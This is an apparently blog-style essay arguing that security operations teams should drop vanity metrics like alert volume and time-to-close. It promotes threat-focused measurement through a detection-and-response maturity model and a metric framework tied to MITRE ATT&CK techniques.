Stop Measuring Your Security Program Like a Marketing Funnel

TLDR: Security teams often rely on vanity metrics like total alert volume or mean-time-to-recover, which incentivize bad behavior and obscure actual risk. By adopting the TDR Maturity Model and the SAVER framework, you can shift focus toward relative, actionable indicators that prioritize high-impact threats. This approach forces teams to align their detection engineering with real-world business risks rather than just chasing arbitrary performance targets.

Security metrics are broken. Most organizations treat their detection and response programs like a marketing funnel, obsessing over the sheer volume of alerts or how fast they can close a ticket. This is a trap. When you measure success by how quickly a ticket is closed, you incentivize your team to treat every alert as a checkbox to be cleared rather than a threat to be understood. You end up with a team that is great at closing tickets but terrible at stopping actual adversaries.

The Problem with Vanity Metrics

The most common metric in any Security Operations Center is alert volume. It is easy to track, it looks good on a slide, and it gives the illusion of activity. But alert volume is a vanity metric. If your alert volume drops, does it mean you are more secure, or does it mean your detection logic is failing? If your mean-time-to-recover (MTTR) is low, does it mean you are efficient, or does it mean you are closing tickets without performing a proper root cause analysis?

When you prioritize speed over depth, you create a perverse incentive structure. Analysts will naturally gravitate toward the easiest, fastest alerts to close. They will ignore the complex, low-signal, high-impact threats that require actual investigation. This is exactly what MITRE ATT&CK was designed to help us avoid, yet many teams still use it as a checklist to claim 100% coverage without ever testing if their detections actually work against real-world tradecraft.

Shifting to Actionable Intelligence

Instead of measuring how many alerts you generate, start measuring how well you detect the threats that actually matter to your business. This requires a shift from absolute metrics to relative ones. You need to know what your top five threats are and whether you have the visibility to detect them.

The SAVER framework provides a way to categorize your metrics so they actually drive decision-making. Every metric you track should answer a specific question:

• Questions & Outcome: What is the specific threat we are trying to detect, and what is the business impact if we fail?
• Category: Does this metric measure observability, proactive detection, or response readiness?
• Control & Risk Reward: What is the cost of implementing this detection, and what is the reduction in risk?
• Expiration: When does this metric stop being useful?
• Data Requirements, Effort & Cost: What do we need to build this, and is it worth the engineering time?

If a metric doesn't help you answer these questions, stop tracking it. It is just noise.

Building a Maturity Model That Works

The TDR Maturity Model breaks your capabilities into three pillars: Observability, Proactive Threat Detection, and Rapid Response.

Observability is the foundation. You cannot detect what you cannot see. This means ensuring you have the right logs for entity and user activity, and that those logs are searchable and enriched with context. If you are missing logs for T1078-valid-accounts or T1003-os-credential-dumping, you are blind to the most common ways attackers move through your environment.

Proactive Threat Detection is where you move beyond simple signature-based alerts. This involves mapping your detection engineering to the specific threats identified in your threat intelligence. If you know your industry is being targeted by a specific group using T1059-command-and-scripting-interpreter, your detection engineering should be focused on identifying those specific patterns, not just generic "suspicious activity" alerts.

Rapid Response is the final pillar. This is where you measure your ability to act. Do you have playbooks for the threats you have identified? Are those playbooks automated? If you are still manually triaging every alert, you are not ready for a real incident.

Stop Chasing 100% Coverage

The biggest mistake I see in security programs is the obsession with 100% coverage. It is impossible to achieve, and it is a waste of resources. Attackers only need to find one gap, while you have to defend everything. Instead of trying to cover every technique in the MITRE ATT&CK framework, focus on the techniques that are most likely to be used against your specific environment.

When you identify a gap, don't just write a detection. Ask yourself why the gap exists. Is it a lack of visibility? Is it a lack of tooling? Is it a lack of process? Often, the best way to close a gap is not to write a new detection, but to implement a control that prevents the technique from being used in the first place.

If you find yourself spending all your time tuning alerts for low-risk events, you are failing. Your goal should be to reduce the time it takes to detect and respond to the threats that pose the greatest risk to your organization. If you can't articulate how a detection reduces that risk, you shouldn't be spending time on it.

Start by identifying your top five threats. Map them to the ATT&CK framework. Identify the gaps in your visibility and your ability to respond. Then, build a plan to close those gaps. That is how you build a security program that actually works. Everything else is just noise.